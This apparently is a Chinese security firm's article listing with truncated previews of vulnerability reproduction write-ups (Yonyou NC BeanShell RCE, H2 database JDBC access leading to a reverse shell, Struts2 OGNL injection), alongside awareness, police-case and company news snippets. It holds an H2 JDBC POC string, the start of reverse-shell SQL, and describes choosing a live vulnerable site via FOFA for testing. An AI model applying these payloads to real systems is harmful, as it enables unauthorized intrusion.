1.简介用友NC是一款企业级管理软件，在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。用友 NC bsh.servlet.BshServlet目录存在远程命令执行漏洞，可通过BeanShell执行远程命令获取服务器权限。貌似所有版本都存在。2.FOFA上挑选一位存在CNVD-2021-30167漏洞的幸运儿，进行验证3.网站...
访问界面：1、未授权进入数据库（1）POC：jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\（2）成功进入数据库2、RCE执行反弹shell（1）攻击机创建数据库文件：h2database.sqlCREATETABLEtest( idINTNOTNULL); CREA...
1.漏洞介绍Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。Struts2 会对某些标签属性(比如 id) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时，用户再传入一个 %{payload} 即可造成OGNL表达式执行。2. 漏洞影响范围：Apache Struts 2.0.0 - 2.5.253.漏洞复现3....
网络安全任何人都无法独善其身，无论个人还是企业或者是高校、机构等，都需要参与到网络安全维护中。在当今数字化时代，随着互联网的普及和企业信息化程度的提高，网络安全成为了企业运营中不可忽视的重要问题。网络安全指的是通过制定策略、采用技术手段，保护企业网络系统和数据免受未经授权的访问、破坏、...
近日，某公安分局成功破获一起特大侵犯公民个人信息案，铲除一个在境外平台买卖公民信息的特大新型网络犯罪团伙，抓获犯罪嫌疑人7名，冻结涉案资金3000余万元，扣押涉案手机、电脑30余台。 某日，网安大队在工作中接到线索称，有人利用境外平台非法贩卖包含姓名、家庭住址、手机号等公民个人信...
“网络安全为人民，网络安全靠人民。”随着网络技术的发展，同学们的生活越来越离不开互联网。我们在享受网络带来便利的同时，更要警惕种种“网络陷阱“！“网络陷阱”有几种，我们如何破解？一、病毒陷阱电脑病毒是一种人为制造的破坏计算机系统运行和破坏计算机文件的一种程序。是一种经过恶意设计，能隐蔽运行和自...
3月29日上午，为提升网络安全技术防护能力，渭滨区委网信办邀请我司参加全区网络安全工作培训会。部分重点部门分管负责人，各镇街、区级各部门业务骨干以及辖区重点企事业单位网络安全技术负责人等共计一百余人参加培训会。 培训会由我司专业人员进行授课，授课分为网络安全知识科...
近年来，个人和公司隐私泄露事件频发，隐私及财产安全受到严重威胁，但我们的生活却又很难脱离互联网，这使得我们必须具备网络安全相关常识。下面我们对常见的网络安全攻击手段进行介绍，希望可以更好的帮助大家增强网络安全意识，以及应对常见攻击事件的应急方法。密码口令多样化，切记常换莫分享人们由于安全意识不足，为了方便、避免忘记...
3月7日，西安市创新工业互联网研究院党支部书记李小民带领相关部门负责人到陕西中泊研安全技术有限公司开展调研走访活动，活动内容旨在探索共同发展、合作共赢的运行机制，提供工业互联网相关技术咨询、信息交流等服务，双方交流深入友好，富有成果。 李书记深入了解了我司发展历程、...
